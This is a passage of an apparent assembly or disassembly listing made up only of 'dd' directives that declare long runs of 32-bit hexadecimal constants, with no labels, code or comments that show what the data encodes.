		dd 744E24D4h, 9CE2D106h, 0A655AB0h, 92F4B568h, 6E64042Dh
		dd 882E0244h, 54704098h, 48449037h, 0F108340Dh,	0B200C757h
		dd 74ED62D9h, 0E408DDD4h, 24DB1E58h, 0E04D1D3Ch, 142C6E24h
		dd 9806D593h, 0D448FA91h, 0B1142880h, 0F10A9884h, 1294D4FCh
		dd 6E344C5Ch, 0DD78D138h, 185A08CDh, 1086BAE1h,	8B50D71h
		dd 209E2F32h, 1BEC4035h, 0E93C9051h, 588A4F2h, 5A9B3881h
		dd 40FB3420h, 0EB265B87h, 880EACD5h, 663BA519h,	7C92F046h
		dd 90AD5140h, 10BE60D1h, 3D28632Ch, 3008CDB7h, 71A7AE34h
		dd 0BAF693Ah, 85708291h, 3091F7F4h, 688C7B98h, 12600A04h
		dd 77E8C167h, 4B14004Bh, 0B16D6047h, 754E40D4h,	958CD54h
		dd 97F8089Ch, 2B610FAh,	0DBB5899Bh, 0E41CB06Eh,	2B392C81h
		dd 0BD988988h, 0A0D8C81h, 3FC03076h, 0D2C0DA67h, 0DCCBD5F4h
		dd 9CB97702h, 0B801F9F0h, 504A5512h, 3A18963Dh,	7F586904h
		dd 814199C9h, 4FB2CDC8h, 50C0CEE4h, 0C23F9C8Dh,	85D0FB08h
		dd 0BCD26204h, 44762465h, 0BE097A1Eh, 44455CA4h, 0F8826D52h
		dd 4CBC693Ch, 1D1602D2h, 30422041h, 74D7164h, 26021A80h
		dd 0CF48AA18h, 0EA355131h, 651AE430h, 4DC80CDh,	91C951C8h
		dd 98BB1E80h, 0B1080948h, 0E834902Ah, 40949A8Ah, 326E9152h
		dd 0A1438018h, 0B20E8D62h, 0C9B37ED0h, 84A48EA0h, 5B8CC1F0h
		dd 8460CE55h, 58C92F54h, 0B280A201h, 667C6064h,	6161818Eh
		dd 86CFD938h, 0F1024E08h, 0C0416360h, 808DA32Dh, 60589BD2h
		dd 9D1E0D1Eh, 0D4B62E0Ah, 0A01E922Ch, 10796E0Ch, 3987242Dh
		dd 8461844h, 58B03CFBh,	40C3E6F1h, 0A46A56C2h, 2FC26C4Bh
		dd 0EAF1A469h, 9E8BA07h, 0AC0061A1h, 0BB816F88h, 17282D4Ch
		dd 7C4692DBh, 24D0FFB8h, 1BA06F17h, 0FC915833h,	0A3309246h
		dd 0A71B8C02h, 0B18040BCh, 0A584A1CAh, 0D0E1A021h, 7D711087h
		dd 0F85181B0h, 0A2B1F859h, 117B3CB8h, 4D083B62h, 3F0D035Ah
		dd 30FC91E1h, 36716D8Ch, 1628F098h, 2039BCCFh, 381A8EB1h
		dd 0DA9AE0AEh, 19BBEFC4h, 0D8EC7725h, 7C1BE0C6h, 3096700h
		dd 0E9089E6h, 18BD64BBh, 8E4CB068h, 0BA4B9E77h,	0F213B473h
		dd 5C8044FFh, 80A0EC78h, 0E00225AEh, 182DD87Ah,	3B8040D2h
		dd 0DCF85C16h, 48582210h, 0DD0EA0E8h, 7CF44CBFh, 2E382D0Ah
		dd 27DB00D8h, 797A4DC5h, 3411F8C5h, 988A8C95h, 0C47BF904h
		dd 0D83CE0D4h, 7ACC6448h, 91A48B50h, 8C85C728h,	13DAC840h
		dd 8AA6045Dh, 0F30D0010h, 0C5AABFA2h, 29F92CD9h, 97B0C00h
		dd 0CF0ABB50h, 1CD1A54Ch, 70F15FC0h, 1740994Eh,	9CF8527Fh
		dd 0B70811A0h, 0B12B1E0h, 0A4A4E2B8h, 14C4858Dh, 1117ECCCh
		dd 0BD9C4448h, 83C08025h, 0AE02AA33h, 4D60547Dh, 2D844089h
		dd 183466C3h, 2E202003h, 93AD3044h, 3AD26E10h, 899818C6h
		dd 1D7638C0h, 66B093h, 19911DCh, 7D248EDBh, 4616AC71h
		dd 0EE8DDC00h, 0DD1FA1E2h, 175F0352h, 0A6F363EDh, 0FB7FAEA0h
		dd 0A708F260h, 20F76h, 221978ADh, 23F74BF3h, 0EB6F3401h
		dd 626384CAh, 14525C4h,	98DC6830h, 0DF2265h, 0F84090E2h
		dd 0D84C0588h, 3010684Fh, 0A26B4228h, 61F53Ah, 0B78EEAEBh
		dd 19AE840h, 0ABE263E7h, 40FF53C8h, 8F562A18h, 71CF9F00h
		dd 49F08AEBh, 0A6E8294Eh, 0A5F4802Ch, 70C13BE9h, 95AAEB00h
		dd 0F7DF68CDh, 0C84E0C5Bh, 0D3F0EEF1h, 0D156BF7Ah, 67CD2E34h
		dd 40B1B138h, 908AC74Ah, 0ACBA682h, 6018D248h, 0BB7DE249h
		dd 6A98CB67h, 9FAEECD0h, 502D522Eh, 0FC203E8Fh,	0EB72310Dh
		dd 30E90A33h, 3F3DA87Fh, 7D48ACDFh, 982C1030h, 842A00B2h
		dd 0D6FFAEEEh, 5F68000Bh, 263E5FDh, 9CA0F456h, 0A138496Fh
		dd 4A3A3Fh, 771CB1DFh, 0A4702C1Fh, 32402644h, 0EA942251h
		dd 501260BBh, 7F3913AFh, 40A5E703h, 0A1AAFB28h,	62C07448h
		dd 1FE3022h, 0A1D09F08h, 0D61E7F10h, 607A4919h,	0DE418082h
		dd 0F8284ED7h, 0F284A0D3h, 0E4F78D5h, 6840A92Bh, 0A882A42Eh
		dd 2441FAA0h, 586198C7h, 0DFD802C8h, 28554010h,	0C870084Eh
		dd 58C650CCh, 401F4888h, 28E3C238h, 491F8B42h, 0A24DF36Fh
		dd 8DD010A3h, 37B0A0E7h, 33509092h, 5D6812D1h, 6F33B078h
		dd 0FED00882h, 0A11F2448h, 0BB580F60h, 8150206h, 9B39A21Fh
		dd 803E7F3Ch, 81299D0Fh, 973AC206h, 20C66118h, 0E099CF82h
		dd 6863F042h, 18987D38h, 101CD218h, 38C677F7h, 6060B852h
		dd 48422049h, 0E832332Eh, 2140958h, 0E00F2608h,	420F790Eh
		dd 0D0E160B6h, 0BF462C02h, 28207163h, 0A8081E7Dh, 0AD30C0DBh
		dd 5AEB760Eh, 2FA93C06h, 3C11E717h, 3700B78Bh, 0ED191B3Fh
		dd 7AF8D246h, 0D8BE3Ah,	200DC91Ah, 0F8B96CFAh, 0BE83EDAh
		dd 1CC40378h, 0D1544D19h, 8444837h, 0AF3DBC0h, 48B661CDh
		dd 8C1E5F1Ah, 58BF3F10h, 8756318h, 20187824h, 0C910C070h
		dd 3F514CFBh, 3E3D1Eh, 57738DE3h, 0EC61EF5Ah, 0FA1E80Ah
		dd 508B1E0h, 45E6654Dh,	0CC140077h, 8A31F229h, 0EFA1DA00h
		dd 0AD08A02Eh, 1C28A6F4h, 1841CB9Eh, 0A8CF28F0h, 6018D521h
		dd 86356F4Bh, 0A1E5F912h, 89F8300h, 0A5B17B2Dh,	0DB2B012Ch
		dd 0E49AD605h, 6E038FA1h, 93FA1303h, 0A0BAA080h, 58E0C0D1h
		dd 0D89AD48Eh, 3DD3E3Ah
		dd 6D55AD9Ch, 7087694h,	0D66EF67h, 2DC74E37h, 24A382E9h
		dd 4A068C94h, 0C6530717h, 2F6F0FA0h, 0DB872EEBh, 4EBA50CDh
		dd 6D280A6Bh, 3A00E0B3h, 972E29E2h, 3167F007h, 6D08DF8Dh
		dd 0F3A45C62h, 1DA470Ch, 334F58C7h, 0D63872ACh,	7E5A580Fh
		dd 2777050Fh, 0B99AF003h, 0E0F7C162h, 0BE0BDA00h, 0E524A402h
		dd 6384A29Bh, 0B01ADADDh, 14EBCE60h, 0EC521C08h, 0F2F42F00h
		dd 0E466D72Eh, 684D0F8Ch, 90B881D8h, 0FA482D0Fh, 99880148h
		dd 6EC1AD0Bh, 61803020h, 5AE9E80Eh, 227092EBh, 4C286800h
		dd 5C6CB72Fh, 0DC42CD7Ch, 20A79B80h, 0F00609DAh, 612BEF6Dh
		dd 58C262F0h, 7440C92Dh, 2164A30Dh, 68803D08h, 249430EDh
		dd 50443A12h, 461F9E0Dh, 302441E5h, 0D7505118h,	0C0EC54D3h
		dd 1CE85745h, 95742102h, 88813910h, 446881AFh, 40AF87E8h
		dd 0A1B63B7h, 8C184D0Ah, 0F558A812h, 7B7D0942h,	400FE7E9h
		dd 130699Fh, 5CB0851Fh,	6F988B59h, 2C85F731h, 0DA980ACDh
		dd 0A23650BCh, 76072200h, 424F6DF5h, 0DAE81343h, 0BA040574h
		dd 0D630305Dh, 0D22083F0h, 0D52F2866h, 906D39D0h, 5B264448h
		dd 0E9FA1C28h, 0A25E811Ch, 4010FE0Dh, 93820FC0h, 0DA1A3F12h
		dd 145A3009h, 78C0450h,	80EC13E7h, 658AEFB4h, 59EC0C9h
		dd 0F0289A40h, 82AE1FE0h, 0CF02E07Fh, 0DA3F96B3h, 0CD904089h
		dd 3AD8C3E7h, 8DC1F62Bh, 41845CB6h, 807D0F0Ch, 0D1AFD8B3h
		dd 30C06441h, 865F1FEDh, 676F009Ah, 74248F8h, 0AAF5793Ah
		dd 0CB9DE030h, 6F887EA9h, 0B3E1416h, 38A0C8EDh,	0AB6E4F18h
		dd 4296A2C9h, 0C414B80Ah, 34EB301Eh, 0F1892F51h, 0A4852490h
		dd 78C93D01h, 0BC50BD4Ah, 122F4B7Bh, 9F86C77h, 0F800CDF0h
		dd 0E828657Ah, 0BC82ACA5h, 6846FFDEh, 483FEF90h, 0FE09B486h
		dd 1016E822h, 0F860460Fh, 990D44Fh, 1CB94ACFh, 708F043Ch
		dd 9153D7AEh, 20ECFA84h, 744CFD20h, 50D1E010h, 0B7F11203h
		dd 257C38E6h, 0BD324A0Fh, 9124B083h, 0C2FA0B14h, 8E47426h
		dd 0C6F23A07h, 3F204DC0h, 88640D0Bh, 44906805h,	66C13502h
		dd 80F68FADh, 0A2552CEEh, 81269E4h, 760F2C16h, 0F8549CA0h
		dd 4614FC8h, 5C4DDE40h,	752CC3EFh, 6B286078h, 720B8C7h
		dd 84DA5868h, 0D2F89700h, 0F3E90D0Ah, 0BB301C90h, 56DB1876h
		dd 5CC429A2h, 1AE28F74h, 68040E4h, 3A60442Fh, 0DE24322Dh
		dd 0AFA55814h, 4AC3AD10h, 8CAB0F15h, 38F4B412h,	5F098984h
		dd 26F6C7A4h, 99C0BABCh, 715167C4h, 52F85824h, 0B4A4DCF4h
		dd 6E88FC3h, 0DCD7DAA7h, 0FCAF1359h, 207814DEh,	25DDF6A0h
		dd 588E2124h, 85C58F02h, 826C452Fh, 2C201991h, 46976F23h
		dd 167D68C9h, 41105A2Ah, 97B14F40h, 0E494CA45h,	5556D91Eh
		dd 882F29B1h, 28F74893h, 220A5A00h, 0A8B2B46Dh,	0A416DF92h
		dd 1806682Ch, 0A175C374h, 4AF1F3EFh, 0DE430E78h, 0E6B560C1h
		dd 3010B58h, 5DB3D6A2h,	8A0BCEBh, 931E8A94h, 2B832888h
		dd 0F158EA1Dh, 9F2064DFh, 0C7441406h, 8E0214B6h, 124D1691h
		dd 0C047CB03h, 746F29AAh, 0CA4902EDh, 6AC05A85h, 0DEEBE0F5h
		dd 40451838h, 8D2008F7h, 0E4033CA6h, 568CFFF2h,	38ABC8F7h
		dd 0E9E01123h, 426FCE1Fh, 6E583Bh, 127E048Bh, 52B6F63Ch
		dd 0E2720328h, 1B831h, 71606B28h, 0ED899612h, 2AA3078Ch
		dd 0C05E4C25h, 0C1624B58h, 5016122Bh, 9BB50F02h, 0F12B21CEh
		dd 2F79816Fh, 23782605h, 6E06C4h, 0BE72E265h, 0A33BC9A5h
		dd 663EA200h, 0C6059C94h, 1FE7413h, 0C38A2D86h,	48296339h
		dd 79088420h, 0A31901h,	347A9D1Bh, 0F1021E30h, 0D6FE0A07h
		dd 3718A006h, 0E7AE6B9Eh, 17BCAC0h, 0F9F743EBh,	5D982530h
		dd 0F6BF830h, 0A4B64D03h, 54F5BC9h, 138F5930h, 0C314403Fh
		dd 844AD11Ch, 8DBB58C1h, 0F8F11BA3h, 1824404Ch,	0B11D9D19h
		dd 2C0E859Bh, 94E7639Ah, 0AFA9813Ch, 518371F9h,	0AAA10FFBh
		dd 238FFCAh, 6618000Dh,	0DBC9A2A4h, 0D10A844Eh,	5012B7D9h
		dd 0BDC78840h, 1160609Eh, 2604E8AEh, 8E1B631h, 3CB461Bh
		dd 0A6B34710h, 40683C33h, 0A7631420h, 0E91101EEh, 83245A71h
		dd 146C062h, 0E6D36B00h, 76BA3E2Bh, 539E0026h, 661392B0h
		dd 2F0030A9h, 39900A15h, 8AEDB3h, 0FC20700Ch, 956CF03Dh
		dd 0D21C7670h, 73C0B4D0h, 0C2BF5717h, 8E660F8Fh, 0B2A78609h
		dd 0A88C50F4h, 620090CBh, 88DC4B01h, 3A674A68h,	0A400C5B3h
		dd 0D15CF3D7h, 0DA1E0EE2h, 44403E96h, 0E6CCEB45h, 6C01004Bh
		dd 0E97497ABh, 2C00A65Ch, 8798633Eh, 7EBB4h, 4DF21B29h
		dd 7C3213EFh, 0D0268300h, 0DFC50DABh, 4EDD0938h, 7A00254Ah
		dd 0C33D311h, 3FCF630Fh, 0B2AC0062h, 37C15E4h, 3497BA9Ch
		dd 0A099718Dh, 36AE8BBh, 23F7810Ah, 8A00AA69h, 384CDBDCh
		dd 0A9358EBh, 0CA3AD700h, 8F3DA6FFh, 7090EE00h,	91CF203h
		dd 0A5880057h, 6E22E96h, 0B100DBA6h, 6AF1E57Bh,	14DD36CBh
		dd 0D0B97876h, 4E0E1000h, 173F348h, 55213300h, 66DF27F9h
		dd 1AC71DF6h, 839FFE4Bh, 0A4404009h, 63BFA56Dh,	76293600h
		dd 2460288Bh, 2E0E00E9h, 0B47C096Fh, 0DA392DC3h, 82B78630h
		dd 3F3E541Bh, 81001A58h, 0A52D89Fh, 44EC9540h, 87BD5A00h
		dd 0E13A7542h, 3AA7498h, 64212C81h, 68E91DCAh, 0B067DCE2h
		dd 0F8C21E00h, 80346BF4h, 1B37000Bh, 0ED76DF5Dh, 5500B436h
		dd 5E2796D5h, 2E5C59E1h, 754286Ah, 7034E204h, 5D714ED0h
		dd 43B77600h, 0AF284A23h, 6B09000Ch, 6C7EC526h,	527C382Eh
		dd 61304D01h, 0E49DA44Eh, 8419D080h, 0BB3CD186h, 8BF6B200h
		dd 1262CF03h, 66980029h, 0F98A69C7h, 0AE05E02Fh, 0E7D5FE5h
		dd 2143D000h, 36CC5Dh, 9A96F70Fh, 56E27E2Ah, 0C094DC02h
		dd 75F4859Eh, 76B24E40h, 0AD908900h, 0DFB70CD0h, 96030BB0h
		dd 7E80CA0Ah, 0A298FCB1h, 0EB7DF900h, 8654F00Ch, 0E02875A0h
		dd 4FD7029Ch, 0EAA1F6D0h, 6ACBC840h, 4E18FB07h,	0AB772A96h
		dd 70504CD0h, 7E7A14h, 0B2B9BBE8h, 44DDF5EBh, 6C90D006h
		dd 758E264h, 1C10D695h,	3037079Ah, 0C9CBCFF2h, 4BFEA000h
		dd 3EE3052h, 0B4D100D0h, 0CF711273h, 61132B81h,	0AA9AB3h
		dd 0B7CD444Bh, 8B003AA4h, 990217A2h, 43229Fh, 81AB745Dh
		dd 7F2A422Eh, 0FC3AB371h, 66DE802Fh, 38E1FA8Ch,	26910075h
		dd 0D0EFC54Fh, 0E81F4E53h, 0A7C7684Bh, 762094EAh, 30E32F5Dh
		dd 4E88C089h, 0AE034364h, 1E091A25h, 36DEA1BCh,	0F80F5830h
		dd 2CE607D4h, 0ACC9DCB1h, 0D70305E8h, 0F8E5BB6Ch, 0AAA0066Eh
		dd 649A5DCFh, 297B6A1Dh, 51D9E640h, 33C2BE3h, 6D8514B6h
		dd 0C3984233h, 1E0ECC06h, 0E0471D07h, 0F3EAB1BFh, 0E09000C6h
		dd 0FEA3A0A8h, 400088E6h, 0B1C5A167h, 36126F8h,	20B75B51h
		dd 4DB0D53Eh, 0BE0023FBh, 0CBEC2F6Dh, 3D241275h, 9348E910h
		dd 968A7200h, 1A0EC9EFh, 0F07DF100h, 0AE69BF75h, 0C1A900EAh
		dd 908F4BBh, 88008D2Ch,	0C24766DAh, 38D832E1h, 0E8B1B8D1h
		dd 0ECEA7A18h, 7905C980h, 75AD6DCCh, 59D7B4C1h,	4C67E4h
		dd 0E007D94Eh, 0FD63297Ah, 0FA3E33F8h, 5A25017Eh, 0D9AED153h
		dd 3910C3F0h, 0BC805CCAh, 80AD7481h, 880E0C14h,	73EA5BDh
		dd 30400EA2h, 0FBFD03h,	63AEC8F7h, 9A1BE292h, 8FA07600h
		dd 33566F1Fh, 503100D6h, 4E995189h, 0CF05CA11h,	0C3755F02h
		dd 93ABE402h, 180F5D14h, 0DDC16CEEh, 0E867E6C6h, 901719Eh
		dd 7CD0C7B8h, 7470C891h
		dd 1BDD00ABh, 1E5FA7C1h, 0F71EA9EDh, 75C0AD9Bh,	53BF1314h
		dd 0E7AE2579h, 1C00D2D8h, 43C99640h, 642941h, 574AFF7h
		dd 268EE9A1h, 0D89B8D00h, 576DABEFh, 273A001Bh,	71CB3635h
		dd 321C2C3Eh, 0FA8042A5h, 1252305Fh, 8F5D007Fh,	0ADFEF11Ch
		dd 7301A7C7h, 0D7F6EAD3h, 5EE8CFC2h, 62412707h,	0E8C82643h
		dd 0A2001829h, 2ECEF8BDh, 1ABFEC2h, 5ABC28A7h, 0FA9E5475h
		dd 0D7730D40h, 0FFB4B103h, 0F06117BAh, 0E78D19F3h, 7A2F69C0h
		dd 85E0099h, 0BDE397F4h, 87985A6Eh, 10A18400h, 3B529579h
		dd 0E9850007h, 6B6CFEFAh, 9B007A3Ah, 4F0267BDh,	906DE0F2h
		dd 0ABF00B3h, 732446CFh, 870F1D10h, 201F3668h, 0E9ACDD72h
		dd 4FB007Ch, 0C5B5F1DBh, 8203661Ah, 4230F4A0h, 3EBA808Fh
		dd 88271810h, 0CC671697h, 0B82B7E00h, 0A25803C8h, 8F833EF0h
		dd 4582BE80h, 5B9DE6D9h, 6D952000h, 4DFCA64Ch, 0D3D400B8h
		dd 7ADCA7CFh, 0C1039E35h, 596D0F49h, 0BAD3BFh, 0B971B028h
		dd 5DBD4CFDh, 6310900h,	57144132h, 1778E9h, 63F133BAh
		dd 0BFC69625h, 6D01A270h, 0A17FF893h, 99E45BB2h, 33E0069h
		dd 0DD87BB5Dh, 400DC01h, 0BD46459h, 0C12774h, 8F88410Dh
		dd 52181A22h, 6880BD60h, 28A1BC5Bh, 5044AC0Ah, 60789569h
		dd 4B508835h, 0EEA8B12h, 260F4001h, 0BB62D9E7h,	36FA4080h
		dd 0A11D7AD7h, 3AC8C10Fh, 0E1892F9Eh, 4D06DA03h, 51236885h
		dd 0BC1E79h, 0F93A1DFAh, 0E50110A4h, 0BEE8BA35h, 20DC8BA1h
		dd 0F3DCE3B0h, 0BBF8C3h, 27BFEFC8h, 2D140732h, 0D509CDA0h
		dd 2A003890h, 0BD7EC2EEh, 91188Ch, 16E330C6h, 516FDC39h
		dd 0A95772Eh, 2BB9A430h, 2F40077Bh, 8AE0C5h, 0E4B1A0C6h
		dd 61C4F100h, 3331A182h, 0BAE407h, 453A8A79h, 2D862940h
		dd 0DE5D271Dh, 0E8A8D680h, 390A2F72h, 6380B8A6h, 13A7E683h
		dd 3A074855h, 518C601Ch, 9E3C8D50h, 3F5674C8h, 0F8546869h
		dd 0EE053F6Dh, 0DA973D80h, 914DE273h, 4386C91Ah, 16316076h
		dd 5CAA7C7Bh, 3860DC20h, 0C3C995B3h, 0FC799100h, 0CAC5C0EEh
		dd 9DEC78h, 0E3E53CBDh,	30054944h, 199130C2h, 0C0B88ED3h
		dd 36C8FFF3h, 0DD820014h, 0E0BE2C32h, 0D5288A3Ah, 0A600F8F9h
		dd 0C3383F1Ch, 1C84987Fh, 46B614B9h, 502F87D7h,	3403C00h
		dd 84F339BFh, 77D50005h, 33C5E166h, 5E00DA92h, 38899645h
		dd 18B541C8h, 80E8059Ah, 4607CCA3h, 31222304h, 14778390h
		dd 4E6700F9h, 41C62050h, 0B37B5D1Dh, 6C000A7Ch,	0A7FCA409h
		dd 496636C0h, 2D033458h, 0F32A2C2h, 0D3E1B7C2h,	0E10895C7h
		dd 258D2CACh, 9030E90Ah, 41D25B1Fh, 54BDC440h, 3127F8A2h
		dd 8610FB65h, 35F97096h, 43143103h, 0A163909Bh,	8840FEB2h
		dd 2190F61h, 57B75E55h,	91E0E8AEh, 9CADDA96h, 0EB39DFE0h
		dd 0FBEA0615h, 69B76375h, 102D9298h, 1E35C9Dh, 8A8F2E78h
		dd 0CB55303Eh, 8ECD740Fh, 0AB898275h, 9018433Fh, 0F4A9B7h
		dd 7DAD88B5h, 0E95B0325h, 60015519h, 28F8B3A1h,	0DBCCA0EBh
		dd 0D87FE3h, 0DE2358D1h, 9771AE4Fh, 21843300h, 35BE110Ch
		dd 0BF910073h, 0EB54D130h, 0F2E653B2h, 1800A4E0h, 0BAECA2Fh
		dd 1E8BF23h, 0A713C775h, 0D0A3BD17h, 0B4EE6653h, 0BC03F701h
		dd 9240303Dh, 60580EECh, 0E5BDA672h, 0C100C67Dh, 44CCA846h
		dd 0FBDF02h, 0A48F0C6Eh, 0E2505535h, 4FB0E600h,	1A6C4874h
		dd 0CDF8E9h, 1668B967h,	0EFC78C75h, 0A8BC3600h,	41206C96h
		dd 0CFBD05C8h, 0E00559h, 1C40E1A0h, 0B000B247h,	0EF5F7634h
		dd 0FD0F3Ch, 0B6BD2328h, 0F510773Dh, 86A64F1Dh,	273FE000h
		dd 2CEB8138h, 30FDB41Dh, 72B98F20h, 24EE4103h, 0C846B0BFh
		dd 3C9E0A55h, 0C980D51Ch, 7C8E39E6h, 17032689h,	0F67E204Ch
		dd 12F7B8C0h, 3DAF00C6h, 0C4E0B98Eh, 0F80C6E0Fh, 29602D05h
		dd 0EC70552h, 0BB1FCCh,	754527CAh, 0C5398E13h, 0A4BE803Bh
		dd 0A98450A8h, 5ECD00BBh, 2D4D878Dh, 0C73C2059h, 0C4570062h
		dd 5B1F572h, 0D0E70EAFh, 63A0392Bh, 11D6E647h, 313CE00h
		dd 16FAE810h, 61F4D5h, 0D0150B6Fh, 234F76F0h, 4330C5E2h
		dd 378A1866h, 0FC130090h, 0D127ACF5h, 2500EC88h, 30B87565h
		dd 284EC21Eh, 641374h, 0D1F1EC96h, 0F833B1CFh, 0F963E000h
		dd 5C7D7441h, 1D423EE9h, 70182BA8h, 3EDA0022h, 0C5482998h
		dd 43178E7Dh, 24004B83h, 35E3E76Ch, 1B7ED3h, 0E01221A8h
		dd 0ECA5F743h, 0ABAEFE00h, 9437722Dh, 0BE5F00C9h, 0A6E3F667h
		dd 831F24DCh, 1E80C2D4h, 0CFB8A065h, 96743Ah, 89E395CCh
		dd 0B33D6778h, 57C42001h, 2285CF1Ah, 13BEBD8h, 606FA0B1h
		dd 70719BB5h, 0A800FC4Ch, 1A410C6Ah, 2E9D6DFEh,	3C2715h
		dd 8B7375F5h, 697B8466h, 57B6E00h, 1EE7D2DBh, 0F8F11D61h
		dd 2B070796h, 0BB24109Ch, 9500926Ah, 20B72958h,	0EECE7FBEh
		dd 1730009Eh, 0C1F31DB5h, 0F500F26Ch, 5D55A39Dh, 271B41h
		dd 0AD0D4C18h, 87A7B3AAh, 0F3018500h, 82395F34h, 15090E70h
		dd 16612180h, 43BB69D8h, 9290BFA4h, 2C0081F3h, 0A954B60Dh
		dd 0C40A78Ch, 9E944973h, 19001146h, 0FC3C229Fh,	0AB7E70h
		dd 0C7BA77C2h, 480D549h, 0BD464B00h, 7E5908E9h,	12503B8h
		dd 0C8DF6AC0h, 21A3B2F9h, 0DEF900C7h, 71001511h, 372B6ECCh
		dd 0F025E36h, 6A5CC272h, 7DDA21A0h, 44006688h, 0C1760E7Bh
		dd 6020D2h, 73B6597Ah, 8BB35808h, 0E8855C00h, 0B8EC15DEh
		dd 0FB3C1D35h, 534E8072h, 0B65CBC18h, 363EE601h, 0D0A479A9h
		dd 90A0CCh, 3C131FDh, 0D324AD21h, 0E3C3476h, 0BD8C0392h
		dd 88BF96AFh, 615D2Fh, 0B3C9FA66h, 0F1399D8h, 6A5AA300h
		dd 22DAE167h, 0D44F00D9h, 0DD532CE3h, 290001F4h, 999B7E9h
		dd 9BCF0Ch, 0C44CF1E6h,	0ECCC4A1Bh, 3B11E560h, 733D29E4h
		dd 0C0105F14h, 8739FB66h, 0A349A903h, 0B09153C8h, 0E478EC56h
		dd 43EA00D9h, 0F9F53FC3h, 340061D8h, 0CB91E0D1h, 3D237C7h
		dd 88EDAFDCh, 0D0C0518Eh, 0E709E21Fh, 805BA31Ch, 0B885A0A8h
		dd 804D3A36h, 22AF0B00h, 0ABE8A615h, 0DC481F0Eh, 0C1FDE089h
		dd 8D3C80h, 3145A0Dh, 7FE3545h,	0DAEF5E07h, 0B410D23Bh
		dd 38DD0CD5h, 2180F850h, 91CF83A8h, 5900DE9Ch, 0CC65FCD1h
		dd 0C9744Ch, 8D85C149h,	94BB1C73h, 3E840D0Eh, 0BA6EC03Bh
		dd 0EC95DDh, 0E2A0C350h, 9BEA8553h, 0E45AFC00h,	0CEF41EEEh
		dd 0EBE88Eh, 9597D92Bh,	4A371A7Bh, 489BD507h, 920734A0h
		dd 51E09680h, 8CFC00C3h, 220305D4h, 0D601857Ch,	6077A9B4h
		dd 0EC40946Dh, 3FBC98A0h, 6500A330h, 0E076E640h, 0CB58A9EAh
		dd 0ADE800B6h, 0EC493D35h, 0C9E617h, 0F0887A9Bh, 2D2AF85Bh
		dd 0C7CC378h, 1CF3E200h, 0D556204Ah, 881E00EBh,	292C65C5h
		dd 809BD5Fh, 8096A03Ah,	0DE6A0623h, 0D5690435h,	0C3CEF81Ch
		dd 0A6B89E40h, 0C100C5A8h, 0D68ACDE5h, 7680BFh,	3AE4272h
		dd 4F9C9FFAh, 57787E18h, 0F14D6Eh, 2FF2E65Eh, 0A1B91F3Eh
		dd 0ADBD1409h, 80D48053h, 0D6838Fh, 0BFF5CE2Ah,	81845796h
		dd 7188CB00h, 51EF3DB3h, 92560094h, 34ACEC43h, 2E00F01Ch
		dd 0D690C84Ch, 0F7C98Bh, 115E1895h, 493C4132h, 7AE6D800h
		dd 75D3776h, 0C69100ADh, 0CB553EB9h, 18189983h,	0EA22BB6h
		dd 25770138h, 0AC3EA84Ch, 0FC81F580h, 65000F04h, 7063FB8h
		dd 0F526D6h, 71860E45h,	83759713h, 3C445D58h, 0B72480B2h
		dd 0ACC30969h, 0C8B067A5h
		dd 0FC778036h, 6C1FCF3Bh, 6DC0B870h, 4DAD1373h,	7BF30FD7h
		dd 0E8234A11h, 0FAD0434Eh, 0BF609F82h, 67FCA510h, 81061FFBh
		dd 92D581DDh, 0F4188B89h, 3700930Bh, 0CBC87EACh, 0D5106h
		dd 0A0D46DF2h, 0E68711E0h, 735B4800h, 5D0E1DABh, 0B904000Ch
		dd 293EDF89h, 0B13F6A2Eh, 16540014h, 8FE98B2Ch,	4BA5053Dh
		dd 39B79BFh, 26F0AB95h,	0C4640698h, 8E08700h, 6C8427AAh
		dd 0A3110122h, 0EE13541Ah, 0A00FF0BCh, 0CBFA5E00h, 33C8A758h
		dd 0BFB807C5h, 600C1952h, 707D9721h, 0E467E901h, 43B663D4h
		dd 3040EE70h, 0CEEC2A89h, 2926FE9Bh, 440041EAh,	0BCB8A5DDh
		dd 799303C0h, 78BB4854h, 3857D398h, 6BB0AD00h, 94081625h
		dd 0C9C400CBh, 207143C1h, 15E82492h, 0C3C9A00h,	6D1B0E27h
		dd 0AB4E0046h, 0CD5DA738h, 9F0F88B9h, 414FDAA8h, 561C2F65h
		dd 59F036F1h, 48580739h, 0E240EB2h, 0C0C025E4h,	98907038h
		dd 6D00B077h, 401889F2h, 5BFFCFh, 0B281E917h, 0F69EAB15h
		dd 3CD4DD00h, 4138F267h, 1A9C0310h, 0EF665D1Bh,	8D154CA8h
		dd 0DF5B5801h, 383D72DBh, 3CE0460h, 5DB2A356h, 6D80AD9Ch
		dd 0E300E844h, 19DDF60h, 3704D0Fh, 0F5A42A68h, 0EBC86728h
		dd 0E9F49A8Ch, 0E6D27A0Bh, 202E0E6Bh, 0C9733D7Dh, 7CF63EF2h
		dd 0EA6F900h, 4C055E7Fh, 35475100h, 0CA2C09CFh,	71E477D6h
		dd 0B78D0136h, 55141A32h, 0A2E87049h, 4009B75h,	0D9E79492h
		dd 136AF87Dh, 0FA84E19h, 9080FB9Fh, 1B76ABDAh, 0CB843303h
		dd 0B05C9746h, 0C03065h, 31D81AEEh, 235E7B74h, 801BD93Ah
		dd 2C529463h, 1B3BFD3h,	0FCD8D1EAh, 2013EEFDh, 0EC0058C4h
		dd 0D612D7BBh, 0E7DCAC4h, 0BAEF6940h, 0BD7E5A20h, 703AF6Fh
		dd 34B70FA8h, 0ECB8A817h, 0D8E00FFh, 84A63C7Fh,	0B101443Bh
		dd 0BE299035h, 10F0E9AEh, 0E0E237h, 6C176FF8h, 962FD786h
		dd 89343B1Ch, 1B1EEA40h, 1A3C56Eh, 0D3B0B97Eh, 0C41A7A87h
		dd 6700AB59h, 0CB9F3134h, 169DA8h, 7330D4D2h, 2A2B55D1h
		dd 1E446300h, 0AE7CEF3Ch, 0B35C00FAh, 46CF58E4h, 4E90D55Eh
		dd 0F22EB800h, 8CAE8FBBh, 0B5A50045h, 0DD7F10A7h, 0F8386E1Dh
		dd 67AF2C38h, 97A5B0Fh,	0F39B8054h, 0D4123Bh, 2077E1F2h
		dd 0C2C656DDh, 1306B600h, 0FC825CF7h, 9DE700D3h, 7664F455h
		dd 49F215C7h, 5302E200h, 4A8EB487h, 0D0FCEDh, 9EE6A098h
		dd 0CC8F944h, 0A1560500h, 27DD63A9h, 0A70D0197h, 0C321395Ch
		dd 5058E095h, 0CC0161ECh, 0F51DCDABh, 4BF07817h, 0DC82079Ah
		dd 0A708C305h, 0BBA960EBh, 0B40007F2h, 92A00318h, 7A8367h
